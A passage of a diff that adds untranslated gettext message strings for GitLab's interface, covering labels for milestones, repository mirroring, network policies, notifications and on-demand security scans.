+msgid "Metrics|You're about to permanently delete this metric. This cannot be undone."
+msgstr ""
+
+msgid "Metrics|Your dashboard schema is invalid. Edit the dashboard to correct the YAML schema."
+msgstr ""
+
+msgid "Metrics|e.g. HTTP requests"
+msgstr ""
+
+msgid "Metrics|e.g. Requests/second"
+msgstr ""
+
+msgid "Metrics|e.g. Throughput"
+msgstr ""
+
+msgid "Metrics|e.g. rate(http_requests_total[5m])"
+msgstr ""
+
+msgid "Metrics|e.g. req/sec"
+msgstr ""
+
+msgid "Mi"
+msgstr ""
+
+msgid "Microsoft Azure"
+msgstr ""
+
+msgid "Middleman project with Static Site Editor support"
+msgstr ""
+
+msgid "Migrate your data from an external source like GitHub, Bitbucket, or another instance of GitLab."
+msgstr ""
+
+msgid "Migrated %{success_count}/%{total_count} files."
+msgstr ""
+
+msgid "Migration successful."
+msgstr ""
+
+msgid "Milestone"
+msgid_plural "Milestones"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "Milestone does not support burnup charts"
+msgstr ""
+
+msgid "Milestone lists not available with your current license"
+msgstr ""
+
+msgid "Milestone lists show all issues from the selected milestone."
+msgstr ""
+
+msgid "Milestone must have a start and due date"
+msgstr ""
+
+msgid "MilestoneSidebar|Closed:"
+msgstr ""
+
+msgid "MilestoneSidebar|Copy reference"
+msgstr ""
+
+msgid "MilestoneSidebar|Due date"
+msgstr ""
+
+msgid "MilestoneSidebar|Edit"
+msgstr ""
+
+msgid "MilestoneSidebar|From"
+msgstr ""
+
+msgid "MilestoneSidebar|Issues"
+msgstr ""
+
+msgid "MilestoneSidebar|Merge requests"
+msgstr ""
+
+msgid "MilestoneSidebar|Merged:"
+msgstr ""
+
+msgid "MilestoneSidebar|New Issue"
+msgstr ""
+
+msgid "MilestoneSidebar|New issue"
+msgstr ""
+
+msgid "MilestoneSidebar|No due date"
+msgstr ""
+
+msgid "MilestoneSidebar|No start date"
+msgstr ""
+
+msgid "MilestoneSidebar|None"
+msgstr ""
+
+msgid "MilestoneSidebar|Open:"
+msgstr ""
+
+msgid "MilestoneSidebar|Reference:"
+msgstr ""
+
+msgid "MilestoneSidebar|Start date"
+msgstr ""
+
+msgid "MilestoneSidebar|Toggle sidebar"
+msgstr ""
+
+msgid "MilestoneSidebar|Until"
+msgstr ""
+
+msgid "MilestoneSidebar|complete"
+msgstr ""
+
+msgid "Milestones"
+msgstr ""
+
+msgid "Milestones| You’re about to permanently delete the milestone %{milestoneTitle} and remove it from %{issuesWithCount} and %{mergeRequestsWithCount}. Once deleted, it cannot be undone or recovered."
+msgstr ""
+
+msgid "Milestones| You’re about to permanently delete the milestone %{milestoneTitle}. This milestone is not currently used in any issues or merge requests."
+msgstr ""
+
+msgid "Milestones|Close Milestone"
+msgstr ""
+
+msgid "Milestones|Completed Issues (closed)"
+msgstr ""
+
+msgid "Milestones|Delete milestone"
+msgstr ""
+
+msgid "Milestones|Delete milestone %{milestoneTitle}?"
+msgstr ""
+
+msgid "Milestones|Failed to delete milestone %{milestoneTitle}"
+msgstr ""
+
+msgid "Milestones|Group Milestone"
+msgstr ""
+
+msgid "Milestones|Milestone %{milestoneTitle} was not found"
+msgstr ""
+
+msgid "Milestones|Ongoing Issues (open and assigned)"
+msgstr ""
+
+msgid "Milestones|Project Milestone"
+msgstr ""
+
+msgid "Milestones|Promote %{milestoneTitle} to group milestone?"
+msgstr ""
+
+msgid "Milestones|Promote Milestone"
+msgstr ""
+
+msgid "Milestones|Promote to Group Milestone"
+msgstr ""
+
+msgid "Milestones|Promoting %{milestoneTitle} will make it available for all projects inside %{groupName}. Existing project milestones with the same title will be merged."
+msgstr ""
+
+msgid "Milestones|Reopen Milestone"
+msgstr ""
+
+msgid "Milestones|This action cannot be reversed."
+msgstr ""
+
+msgid "Milestones|Unstarted Issues (open and unassigned)"
+msgstr ""
+
+msgid "Minimum capacity to be available before we schedule more mirrors preemptively."
+msgstr ""
+
+msgid "Minimum interval in days"
+msgstr ""
+
+msgid "Minimum length is %{minimum_password_length} characters"
+msgstr ""
+
+msgid "Minimum length is %{minimum_password_length} characters."
+msgstr ""
+
+msgid "Minimum password length (number of characters)"
+msgstr ""
+
+msgid "Minutes"
+msgstr ""
+
+msgid "Mirror direction"
+msgstr ""
+
+msgid "Mirror repository"
+msgstr ""
+
+msgid "Mirror settings are only available to GitLab administrators."
+msgstr ""
+
+msgid "Mirror user"
+msgstr ""
+
+msgid "Mirrored branches will have this prefix. If you enabled 'Only mirror protected branches' you need to include this prefix on protected branches in this project or nothing will be mirrored."
+msgstr ""
+
+msgid "Mirrored repositories"
+msgstr ""
+
+msgid "Mirroring repositories"
+msgstr ""
+
+msgid "Mirroring settings were successfully updated."
+msgstr ""
+
+msgid "Mirroring settings were successfully updated. The project is being updated."
+msgstr ""
+
+msgid "Mirroring was successfully disabled."
+msgstr ""
+
+msgid "Mirroring will only be available if the feature is included in the plan of the selected group or user."
+msgstr ""
+
+msgid "Missing OAuth configuration for GitHub."
+msgstr ""
+
+msgid "Missing OS"
+msgstr ""
+
+msgid "Missing arch"
+msgstr ""
+
+msgid "Missing commit signatures endpoint!"
+msgstr ""
+
+msgid "MissingSSHKeyWarningLink|Add SSH key"
+msgstr ""
+
+msgid "MissingSSHKeyWarningLink|Don't show again"
+msgstr ""
+
+msgid "MissingSSHKeyWarningLink|You won't be able to pull or push project code via SSH until you add an SSH key to your profile"
+msgstr ""
+
+msgid "ModalButton|Add projects"
+msgstr ""
+
+msgid "Modal|Cancel"
+msgstr ""
+
+msgid "Modal|Close"
+msgstr ""
+
+msgid "Modified"
+msgstr ""
+
+msgid "Modified in this version"
+msgstr ""
+
+msgid "Modify commit message"
+msgstr ""
+
+msgid "Modify commit messages"
+msgstr ""
+
+msgid "Modify merge commit"
+msgstr ""
+
+msgid "Monday"
+msgstr ""
+
+msgid "Monitor your errors by integrating with Sentry."
+msgstr ""
+
+msgid "Monitoring"
+msgstr ""
+
+msgid "Month"
+msgstr ""
+
+msgid "Months"
+msgstr ""
+
+msgid "More"
+msgstr ""
+
+msgid "More Information"
+msgstr ""
+
+msgid "More Slack commands"
+msgstr ""
+
+msgid "More actions"
+msgstr ""
+
+msgid "More details"
+msgstr ""
+
+msgid "More info"
+msgstr ""
+
+msgid "More information"
+msgstr ""
+
+msgid "More information and share feedback"
+msgstr ""
+
+msgid "More information is available|here"
+msgstr ""
+
+msgid "More information."
+msgstr ""
+
+msgid "More than %{number_commits_distance} commits different with %{default_branch}"
+msgstr ""
+
+msgid "Most stars"
+msgstr ""
+
+msgid "Mount point %{mounted_as} not found in %{model_class}."
+msgstr ""
+
+msgid "Move"
+msgstr ""
+
+msgid "Move issue"
+msgstr ""
+
+msgid "Move issue from one column of the board to another"
+msgstr ""
+
+msgid "Move selection down"
+msgstr ""
+
+msgid "Move selection up"
+msgstr ""
+
+msgid "Move this issue to another project."
+msgstr ""
+
+msgid "MoveIssue|Cannot move issue due to insufficient permissions!"
+msgstr ""
+
+msgid "MoveIssue|Cannot move issue to project it originates from!"
+msgstr ""
+
+msgid "Moved issue to %{label} column in the board."
+msgstr ""
+
+msgid "Moved this issue to %{path_to_project}."
+msgstr ""
+
+msgid "Moves issue to %{label} column in the board."
+msgstr ""
+
+msgid "Moves this issue to %{path_to_project}."
+msgstr ""
+
+msgid "MrDeploymentActions|Deploy"
+msgstr ""
+
+msgid "MrDeploymentActions|Re-deploy"
+msgstr ""
+
+msgid "MrDeploymentActions|Stop environment"
+msgstr ""
+
+msgid "Multi-project"
+msgstr ""
+
+msgid "Multi-project Runners cannot be removed"
+msgstr ""
+
+msgid "Multiple IP address ranges are supported."
+msgstr ""
+
+msgid "Multiple domains are supported."
+msgstr ""
+
+msgid "Multiple issue boards"
+msgstr ""
+
+msgid "Multiple model types found: %{model_types}"
+msgstr ""
+
+msgid "Multiple uploaders found: %{uploader_types}"
+msgstr ""
+
+msgid "Must match with the %{codeStart}external_url%{codeEnd} in %{codeStart}/etc/gitlab/gitlab.rb%{codeEnd}."
+msgstr ""
+
+msgid "Must match with the %{codeStart}geo_node_name%{codeEnd} in %{codeStart}/etc/gitlab/gitlab.rb%{codeEnd}. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "My Awesome Group"
+msgstr ""
+
+msgid "My company or team"
+msgstr ""
+
+msgid "My-Reaction"
+msgstr ""
+
+msgid "N/A"
+msgstr ""
+
+msgid "Name"
+msgstr ""
+
+msgid "Name has already been taken"
+msgstr ""
+
+msgid "Name is required"
+msgstr ""
+
+msgid "Name new label"
+msgstr ""
+
+msgid "Name:"
+msgstr ""
+
+msgid "Namespace"
+msgstr ""
+
+msgid "Namespace is empty"
+msgstr ""
+
+msgid "Namespace:"
+msgstr ""
+
+msgid "Namespaces"
+msgstr ""
+
+msgid "Namespaces to index"
+msgstr ""
+
+msgid "Naming, topics, avatar"
+msgstr ""
+
+msgid "Naming, visibility"
+msgstr ""
+
+msgid "Navigate to the project to close the milestone."
+msgstr ""
+
+msgid "Nav|Help"
+msgstr ""
+
+msgid "Nav|Home"
+msgstr ""
+
+msgid "Nav|Sign In / Register"
+msgstr ""
+
+msgid "Nav|Sign out and sign in with a different account"
+msgstr ""
+
+msgid "Need help?"
+msgstr ""
+
+msgid "Needs attention"
+msgstr ""
+
+msgid "Network"
+msgstr ""
+
+msgid "Network Policy|New rule"
+msgstr ""
+
+msgid "NetworkPolicies|%{ifLabelStart}if%{ifLabelEnd} %{ruleType} %{isLabelStart}is%{isLabelEnd} %{ruleDirection} %{ruleSelector} %{directionLabelStart}and is inbound from a%{directionLabelEnd} %{rule} %{portsLabelStart}on%{portsLabelEnd} %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|%{ifLabelStart}if%{ifLabelEnd} %{ruleType} %{isLabelStart}is%{isLabelEnd} %{ruleDirection} %{ruleSelector} %{directionLabelStart}and is outbound to a%{directionLabelEnd} %{rule} %{portsLabelStart}on%{portsLabelEnd} %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|%{labelStart}Then%{labelEnd} %{action} %{spanStart}the network traffic.%{spanEnd}"
+msgstr ""
+
+msgid "NetworkPolicies|%{number} selected"
+msgstr ""
+
+msgid "NetworkPolicies|%{strongOpen}all%{strongClose} pods"
+msgstr ""
+
+msgid "NetworkPolicies|%{strongOpen}any%{strongClose} port"
+msgstr ""
+
+msgid "NetworkPolicies|.yaml"
+msgstr ""
+
+msgid "NetworkPolicies|.yaml mode"
+msgstr ""
+
+msgid "NetworkPolicies|Actions"
+msgstr ""
+
+msgid "NetworkPolicies|All selected"
+msgstr ""
+
+msgid "NetworkPolicies|Allow"
+msgstr ""
+
+msgid "NetworkPolicies|Allow all inbound traffic to %{selector} from %{ruleSelector} on %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|Allow all outbound traffic from %{selector} to %{ruleSelector} on %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|Choose whether to enforce this policy."
+msgstr ""
+
+msgid "NetworkPolicies|Create policy"
+msgstr ""
+
+msgid "NetworkPolicies|Define this policy's location, conditions and actions."
+msgstr ""
+
+msgid "NetworkPolicies|Deny all traffic"
+msgstr ""
+
+msgid "NetworkPolicies|Description"
+msgstr ""
+
+msgid "NetworkPolicies|Editor mode"
+msgstr ""
+
+msgid "NetworkPolicies|Enforcement status"
+msgstr ""
+
+msgid "NetworkPolicies|Environment does not have deployment platform"
+msgstr ""
+
+msgid "NetworkPolicies|IP/subnet"
+msgstr ""
+
+msgid "NetworkPolicies|If you are using Auto DevOps, your %{monospacedStart}auto-deploy-values.yaml%{monospacedEnd} file will not be updated if you change a policy in this section. Auto DevOps users should make changes by following the %{linkStart}Container Network Policy documentation%{linkEnd}."
+msgstr ""
+
+msgid "NetworkPolicies|Invalid or empty policy"
+msgstr ""
+
+msgid "NetworkPolicies|Kubernetes error: %{error}"
+msgstr ""
+
+msgid "NetworkPolicies|Last modified"
+msgstr ""
+
+msgid "NetworkPolicies|Name"
+msgstr ""
+
+msgid "NetworkPolicies|Network Policy"
+msgstr ""
+
+msgid "NetworkPolicies|Network traffic"
+msgstr ""
+
+msgid "NetworkPolicies|New policy"
+msgstr ""
+
+msgid "NetworkPolicies|No policies detected"
+msgstr ""
+
+msgid "NetworkPolicies|None selected"
+msgstr ""
+
+msgid "NetworkPolicies|Policies are a specification of how groups of pods are allowed to communicate with each other's network endpoints."
+msgstr ""
+
+msgid "NetworkPolicies|Policy %{policyName} was successfully changed"
+msgstr ""
+
+msgid "NetworkPolicies|Policy definition"
+msgstr ""
+
+msgid "NetworkPolicies|Policy description"
+msgstr ""
+
+msgid "NetworkPolicies|Policy editor"
+msgstr ""
+
+msgid "NetworkPolicies|Policy preview"
+msgstr ""
+
+msgid "NetworkPolicies|Policy status"
+msgstr ""
+
+msgid "NetworkPolicies|Policy type"
+msgstr ""
+
+msgid "NetworkPolicies|Rule"
+msgstr ""
+
+msgid "NetworkPolicies|Rule mode"
+msgstr ""
+
+msgid "NetworkPolicies|Rule mode is unavailable for this policy. In some cases, we cannot parse the YAML file back into the rules editor."
+msgstr ""
+
+msgid "NetworkPolicies|Rules"
+msgstr ""
+
+msgid "NetworkPolicies|Something went wrong, failed to update policy"
+msgstr ""
+
+msgid "NetworkPolicies|Something went wrong, unable to fetch policies"
+msgstr ""
+
+msgid "NetworkPolicies|Status"
+msgstr ""
+
+msgid "NetworkPolicies|Traffic that does not match any rule will be blocked."
+msgstr ""
+
+msgid "NetworkPolicies|YAML editor"
+msgstr ""
+
+msgid "NetworkPolicies|all DNS names"
+msgstr ""
+
+msgid "NetworkPolicies|all IP addresses"
+msgstr ""
+
+msgid "NetworkPolicies|any pod"
+msgstr ""
+
+msgid "NetworkPolicies|any port"
+msgstr ""
+
+msgid "NetworkPolicies|domain name"
+msgstr ""
+
+msgid "NetworkPolicies|entity"
+msgstr ""
+
+msgid "NetworkPolicies|inbound to"
+msgstr ""
+
+msgid "NetworkPolicies|nowhere"
+msgstr ""
+
+msgid "NetworkPolicies|outbound from"
+msgstr ""
+
+msgid "NetworkPolicies|pod with labels"
+msgstr ""
+
+msgid "NetworkPolicies|pods %{pods}"
+msgstr ""
+
+msgid "NetworkPolicies|pods with labels"
+msgstr ""
+
+msgid "NetworkPolicies|ports %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|ports/protocols"
+msgstr ""
+
+msgid "Never"
+msgstr ""
+
+msgid "New"
+msgstr ""
+
+msgid "New Application"
+msgstr ""
+
+msgid "New Branch"
+msgstr ""
+
+msgid "New Deploy Key"
+msgstr ""
+
+msgid "New Environment"
+msgstr ""
+
+msgid "New Epic"
+msgstr ""
+
+msgid "New File"
+msgstr ""
+
+msgid "New Group"
+msgstr ""
+
+msgid "New Group Name"
+msgstr ""
+
+msgid "New Identity"
+msgstr ""
+
+msgid "New Issue"
+msgid_plural "New Issues"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "New Jira import"
+msgstr ""
+
+msgid "New Label"
+msgstr ""
+
+msgid "New Merge Request"
+msgstr ""
+
+msgid "New Milestone"
+msgstr ""
+
+msgid "New Pages Domain"
+msgstr ""
+
+msgid "New Password"
+msgstr ""
+
+msgid "New Pipeline Schedule"
+msgstr ""
+
+msgid "New Project"
+msgstr ""
+
+msgid "New Requirement"
+msgstr ""
+
+msgid "New Snippet"
+msgstr ""
+
+msgid "New User"
+msgstr ""
+
+msgid "New branch"
+msgstr ""
+
+msgid "New branch unavailable"
+msgstr ""
+
+msgid "New changes were added. %{linkStart}Reload the page to review them%{linkEnd}"
+msgstr ""
+
+msgid "New confidential epic title "
+msgstr ""
+
+msgid "New confidential issue title"
+msgstr ""
+
+msgid "New deploy key"
+msgstr ""
+
+msgid "New directory"
+msgstr ""
+
+msgid "New environment"
+msgstr ""
+
+msgid "New epic"
+msgstr ""
+
+msgid "New epic title"
+msgstr ""
+
+msgid "New file"
+msgstr ""
+
+msgid "New group"
+msgstr ""
+
+msgid "New health check access token has been generated!"
+msgstr ""
+
+msgid "New identity"
+msgstr ""
+
+msgid "New issue"
+msgstr ""
+
+msgid "New issue title"
+msgstr ""
+
+msgid "New iteration"
+msgstr ""
+
+msgid "New iteration created"
+msgstr ""
+
+msgid "New label"
+msgstr ""
+
+msgid "New merge request"
+msgstr ""
+
+msgid "New milestone"
+msgstr ""
+
+msgid "New password"
+msgstr ""
+
+msgid "New pipelines will cancel older, pending pipelines on the same branch"
+msgstr ""
+
+msgid "New project"
+msgstr ""
+
+msgid "New release"
+msgstr ""
+
+msgid "New requirement"
+msgstr ""
+
+msgid "New response for issue #%{issue_iid}:"
+msgstr ""
+
+msgid "New runners registration token has been generated!"
+msgstr ""
+
+msgid "New schedule"
+msgstr ""
+
+msgid "New snippet"
+msgstr ""
+
+msgid "New subgroup"
+msgstr ""
+
+msgid "New tag"
+msgstr ""
+
+msgid "New users set to external"
+msgstr ""
+
+msgid "New! Suggest changes directly"
+msgstr ""
+
+msgid "New..."
+msgstr ""
+
+msgid "Newest first"
+msgstr ""
+
+msgid "Newly registered users will by default be external"
+msgstr ""
+
+msgid "Next"
+msgstr ""
+
+msgid "Next commit"
+msgstr ""
+
+msgid "Next file in diff"
+msgstr ""
+
+msgid "Next unresolved discussion"
+msgstr ""
+
+msgid "Nickname"
+msgstr ""
+
+msgid "No"
+msgstr ""
+
+msgid "No %{header} for this request."
+msgstr ""
+
+msgid "No %{providerTitle} repositories found"
+msgstr ""
+
+msgid "No Epic"
+msgstr ""
+
+msgid "No Matching Results"
+msgstr ""
+
+msgid "No Scopes"
+msgstr ""
+
+msgid "No Tag"
+msgstr ""
+
+msgid "No active admin user found"
+msgstr ""
+
+msgid "No activities found"
+msgstr ""
+
+msgid "No application_settings found"
+msgstr ""
+
+msgid "No authentication methods configured."
+msgstr ""
+
+msgid "No available groups to fork the project."
+msgstr ""
+
+msgid "No branches found"
+msgstr ""
+
+msgid "No changes"
+msgstr ""
+
+msgid "No changes between %{ref_start}%{source_branch}%{ref_end} and %{ref_start}%{target_branch}%{ref_end}"
+msgstr ""
+
+msgid "No child epics match applied filters"
+msgstr ""
+
+msgid "No commits present here"
+msgstr ""
+
+msgid "No connection could be made to a Gitaly Server, please check your logs!"
+msgstr ""
+
+msgid "No containers available"
+msgstr ""
+
+msgid "No contributions"
+msgstr ""
+
+msgid "No contributions were found"
+msgstr ""
+
+msgid "No credit card required."
+msgstr ""
+
+msgid "No data found"
+msgstr ""
+
+msgid "No data to display"
+msgstr ""
+
+msgid "No deployments found"
+msgstr ""
+
+msgid "No due date"
+msgstr ""
+
+msgid "No endpoint provided"
+msgstr ""
+
+msgid "No errors to display."
+msgstr ""
+
+msgid "No estimate or time spent"
+msgstr ""
+
+msgid "No file chosen"
+msgstr ""
+
+msgid "No file hooks found."
+msgstr ""
+
+msgid "No file selected"
+msgstr ""
+
+msgid "No files"
+msgstr ""
+
+msgid "No files found."
+msgstr ""
+
+msgid "No forks are available to you."
+msgstr ""
+
+msgid "No grouping"
+msgstr ""
+
+msgid "No issues found"
+msgstr ""
+
+msgid "No iteration"
+msgstr ""
+
+msgid "No iterations to show"
+msgstr ""
+
+msgid "No job log"
+msgstr ""
+
+msgid "No jobs to show"
+msgstr ""
+
+msgid "No label"
+msgstr ""
+
+msgid "No labels with such name or description"
+msgstr ""
+
+msgid "No license. All rights reserved"
+msgstr ""
+
+msgid "No licenses found."
+msgstr ""
+
+msgid "No matches found"
+msgstr ""
+
+msgid "No matching labels"
+msgstr ""
+
+msgid "No matching results"
+msgstr ""
+
+msgid "No matching results for \"%{query}\""
+msgstr ""
+
+msgid "No merge requests found"
+msgstr ""
+
+msgid "No messages were logged"
+msgstr ""
+
+msgid "No milestone"
+msgstr ""
+
+msgid "No milestones to show"
+msgstr ""
+
+msgid "No other labels with such name or description"
+msgstr ""
+
+msgid "No panels matching properties %{opts}"
+msgstr ""
+
+msgid "No parent group"
+msgstr ""
+
+msgid "No pods available"
+msgstr ""
+
+msgid "No policy matches this license"
+msgstr ""
+
+msgid "No preview for this file type"
+msgstr ""
+
+msgid "No prioritized labels with such name or description"
+msgstr ""
+
+msgid "No public groups"
+msgstr ""
+
+msgid "No ref selected"
+msgstr ""
+
+msgid "No related merge requests found."
+msgstr ""
+
+msgid "No repository"
+msgstr ""
+
+msgid "No required pipeline"
+msgstr ""
+
+msgid "No runner executable"
+msgstr ""
+
+msgid "No runners found"
+msgstr ""
+
+msgid "No schedules"
+msgstr ""
+
+msgid "No source selected"
+msgstr ""
+
+msgid "No stack trace for this error"
+msgstr ""
+
+msgid "No starrers matched your search"
+msgstr ""
+
+msgid "No start date"
+msgstr ""
+
+msgid "No status"
+msgstr ""
+
+msgid "No template"
+msgstr ""
+
+msgid "No template selected"
+msgstr ""
+
+msgid "No test coverage"
+msgstr ""
+
+msgid "No vulnerabilities present"
+msgstr ""
+
+msgid "No webhooks found, add one in the form above."
+msgstr ""
+
+msgid "No worries, you can still use all the %{strong}%{plan_name}%{strong_close} features for now. You have %{remaining_days} to renew your subscription."
+msgstr ""
+
+msgid "No, directly import the existing email addresses and usernames."
+msgstr ""
+
+msgid "No. of commits"
+msgstr ""
+
+msgid "Nobody has starred this repository yet"
+msgstr ""
+
+msgid "Node was successfully created."
+msgstr ""
+
+msgid "Node was successfully updated."
+msgstr ""
+
+msgid "Nodes"
+msgstr ""
+
+msgid "Non-admin users can sign in with read-only access and make read-only API requests."
+msgstr ""
+
+msgid "None"
+msgstr ""
+
+msgid "Not Implemented"
+msgstr ""
+
+msgid "Not all data has been processed yet, the accuracy of the chart for the selected timeframe is limited."
+msgstr ""
+
+msgid "Not available"
+msgstr ""
+
+msgid "Not available for private projects"
+msgstr ""
+
+msgid "Not available for protected branches"
+msgstr ""
+
+msgid "Not confidential"
+msgstr ""
+
+msgid "Not enough data"
+msgstr ""
+
+msgid "Not found."
+msgstr ""
+
+msgid "Not now"
+msgstr ""
+
+msgid "Not ready yet. Try again later."
+msgstr ""
+
+msgid "Not started"
+msgstr ""
+
+msgid "Note"
+msgstr ""
+
+msgid "Note parameters are invalid: %{errors}"
+msgstr ""
+
+msgid "Note that this invitation was sent to %{mail_to_invite_email}, but you are signed in as %{link_to_current_user} with email %{mail_to_current_user}."
+msgstr ""
+
+msgid "Note: As an administrator you may like to configure %{github_integration_link}, which will allow login via GitHub and allow connecting repositories without generating a Personal Access Token."
+msgstr ""
+
+msgid "Note: As an administrator you may like to configure %{github_integration_link}, which will allow login via GitHub and allow importing repositories without generating a Personal Access Token."
+msgstr ""
+
+msgid "Note: Consider asking your GitLab administrator to configure %{github_integration_link}, which will allow login via GitHub and allow connecting repositories without generating a Personal Access Token."
+msgstr ""
+
+msgid "Note: Consider asking your GitLab administrator to configure %{github_integration_link}, which will allow login via GitHub and allow importing repositories without generating a Personal Access Token."
+msgstr ""
+
+msgid "NoteForm|Note"
+msgstr ""
+
+msgid "Notes|Are you sure you want to cancel creating this comment?"
+msgstr ""
+
+msgid "Notes|Collapse replies"
+msgstr ""
+
+msgid "Notes|Private comments are accessible by internal staff only"
+msgstr ""
+
+msgid "Notes|Show all activity"
+msgstr ""
+
+msgid "Notes|Show comments only"
+msgstr ""
+
+msgid "Notes|Show history only"
+msgstr ""
+
+msgid "Notes|This comment has changed since you started editing, please review the %{open_link}updated comment%{close_link} to ensure information is not lost"
+msgstr ""
+
+msgid "Nothing found…"
+msgstr ""
+
+msgid "Nothing to preview."
+msgstr ""
+
+msgid "Nothing to synchronize"
+msgstr ""
+
+msgid "Notification events"
+msgstr ""
+
+msgid "Notification setting"
+msgstr ""
+
+msgid "Notification setting - %{notification_title}"
+msgstr ""
+
+msgid "Notification settings saved"
+msgstr ""
+
+msgid "NotificationEvent|Close issue"
+msgstr ""
+
+msgid "NotificationEvent|Close merge request"
+msgstr ""
+
+msgid "NotificationEvent|Failed pipeline"
+msgstr ""
+
+msgid "NotificationEvent|Fixed pipeline"
+msgstr ""
+
+msgid "NotificationEvent|Merge merge request"
+msgstr ""
+
+msgid "NotificationEvent|New epic"
+msgstr ""
+
+msgid "NotificationEvent|New issue"
+msgstr ""
+
+msgid "NotificationEvent|New merge request"
+msgstr ""
+
+msgid "NotificationEvent|New note"
+msgstr ""
+
+msgid "NotificationEvent|New release"
+msgstr ""
+
+msgid "NotificationEvent|Reassign issue"
+msgstr ""
+
+msgid "NotificationEvent|Reassign merge request"
+msgstr ""
+
+msgid "NotificationEvent|Reopen issue"
+msgstr ""
+
+msgid "NotificationEvent|Successful pipeline"
+msgstr ""
+
+msgid "NotificationLevel|Custom"
+msgstr ""
+
+msgid "NotificationLevel|Disabled"
+msgstr ""
+
+msgid "NotificationLevel|Global"
+msgstr ""
+
+msgid "NotificationLevel|On mention"
+msgstr ""
+
+msgid "NotificationLevel|Participate"
+msgstr ""
+
+msgid "NotificationLevel|Watch"
+msgstr ""
+
+msgid "NotificationSetting|Custom"
+msgstr ""
+
+msgid "Notifications"
+msgstr ""
+
+msgid "Notifications have been disabled by the project or group owner"
+msgstr ""
+
+msgid "Notifications off"
+msgstr ""
+
+msgid "Notifications on"
+msgstr ""
+
+msgid "Notify users by email when sign-in location is not recognized"
+msgstr ""
+
+msgid "Nov"
+msgstr ""
+
+msgid "November"
+msgstr ""
+
+msgid "Novice"
+msgstr ""
+
+msgid "Nuget metadatum must have at least license_url, project_url or icon_url set"
+msgstr ""
+
+msgid "Number of %{itemTitle}"
+msgstr ""
+
+msgid "Number of Elasticsearch replicas"
+msgstr ""
+
+msgid "Number of Elasticsearch shards"
+msgstr ""
+
+msgid "Number of LOCs per commit"
+msgstr ""
+
+msgid "Number of changes (branches or tags) in a single push to determine whether individual push events or bulk push event will be created. Bulk push event will be created if it surpasses that value."
+msgstr ""
+
+msgid "Number of changes (branches or tags) in a single push to determine whether webhooks and services will be fired or not. Webhooks and services won't be submitted if it surpasses that value."
+msgstr ""
+
+msgid "Number of commits"
+msgstr ""
+
+msgid "Number of commits per MR"
+msgstr ""
+
+msgid "Number of employees"
+msgstr ""
+
+msgid "Number of events"
+msgstr ""
+
+msgid "Number of events for this project: %{total_count}."
+msgstr ""
+
+msgid "Number of files touched"
+msgstr ""
+
+msgid "OK"
+msgstr ""
+
+msgid "Object Storage replication"
+msgstr ""
+
+msgid "Object does not exist on the server or you don't have permissions to access it"
+msgstr ""
+
+msgid "Oct"
+msgstr ""
+
+msgid "October"
+msgstr ""
+
+msgid "OfSearchInADropdown|Filter"
+msgstr ""
+
+msgid "Off"
+msgstr ""
+
+msgid "Oh no!"
+msgstr ""
+
+msgid "Oldest first"
+msgstr ""
+
+msgid "OmniAuth"
+msgstr ""
+
+msgid "Omnibus Protected Paths throttle is active, and takes priority over these settings. From 12.4, Omnibus throttle is deprecated and will be removed in a future release. Please read the %{relative_url_link_start}Migrating Protected Paths documentation%{relative_url_link_end}."
+msgstr ""
+
+msgid "On track"
+msgstr ""
+
+msgid "OnDemandScans|Attached branch"
+msgstr ""
+
+msgid "OnDemandScans|Attached branch is where the scan job runs."
+msgstr ""
+
+msgid "OnDemandScans|Could not fetch site profiles. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "OnDemandScans|Could not run the scan. Please try again."
+msgstr ""
+
+msgid "OnDemandScans|Create a new site profile"
+msgstr ""
+
+msgid "OnDemandScans|Create new DAST scan"
+msgstr ""
+
+msgid "OnDemandScans|Manage profiles"
+msgstr ""
+
+msgid "OnDemandScans|New on-demand DAST scan"
+msgstr ""
+
+msgid "OnDemandScans|No profile yet. In order to create a new scan, you need to have at least one completed site profile."
+msgstr ""
+
+msgid "OnDemandScans|On-demand Scans"
+msgstr ""
+
+msgid "OnDemandScans|On-demand scans run outside the DevOps cycle and find vulnerabilities in your projects. %{learnMoreLinkStart}Learn more%{learnMoreLinkEnd}"
+msgstr ""
+
+msgid "OnDemandScans|Only a passive scan can be performed on demand."
+msgstr ""
+
+msgid "OnDemandScans|Passive"
+msgstr ""
+
+msgid "OnDemandScans|Run scan"
+msgstr ""
+
+msgid "OnDemandScans|Scan mode"
+msgstr ""
+
+msgid "OnDemandScans|Scanner settings"
+msgstr ""
+
+msgid "OnDemandScans|Schedule or run scans immediately against target sites. Currently available on-demand scan type: DAST. %{helpLinkStart}More information%{helpLinkEnd}"
+msgstr ""
+
+msgid "OnDemandScans|Select one of the existing profiles"
+msgstr ""
+
+msgid "OnDemandScans|Site profiles"
+msgstr ""
+
+msgid "OnDemandScans|Use existing site profile"
+msgstr ""
+
+msgid "Once a project is permanently deleted it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd} including issues, merge requests etc."
+msgstr ""
+
+msgid "Once a project is permanently deleted it cannot be recovered. You will lose this project's repository and all content: issues, merge requests etc."
+msgstr ""
+
+msgid "Once imported, repositories can be mirrored over SSH. Read more %{link_start}here%{link_end}."
+msgstr ""
+
+msgid "Once removed, the fork relationship cannot be restored and you will no longer be able to send merge requests to the source."
+msgstr ""
+
+msgid "Once the exported file is ready, you will receive a notification email with a download link, or you can download it from this page."
+msgstr ""
+
+msgid "Once you confirm and press \"Reduce project visibility\":"
+msgstr ""
+
+msgid "One more item"
+msgid_plural "%d more items"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "One or more groups that you don't have access to."
+msgstr ""
+
+msgid "One or more of you personal access tokens were revoked"
+msgstr ""
+
+msgid "One or more of your %{provider} projects cannot be imported into GitLab directly because they use Subversion or Mercurial for version control, rather than Git."
+msgstr ""
+
+msgid "One or more of your Google Code projects cannot be imported into GitLab directly because they use Subversion or Mercurial for version control, rather than Git."
+msgstr ""
+
+msgid "One or more of your dependency files are not supported, and the dependency list may be incomplete. Below is a list of supported file types."
+msgstr ""
+
+msgid "One or more of your personal access tokens has expired."
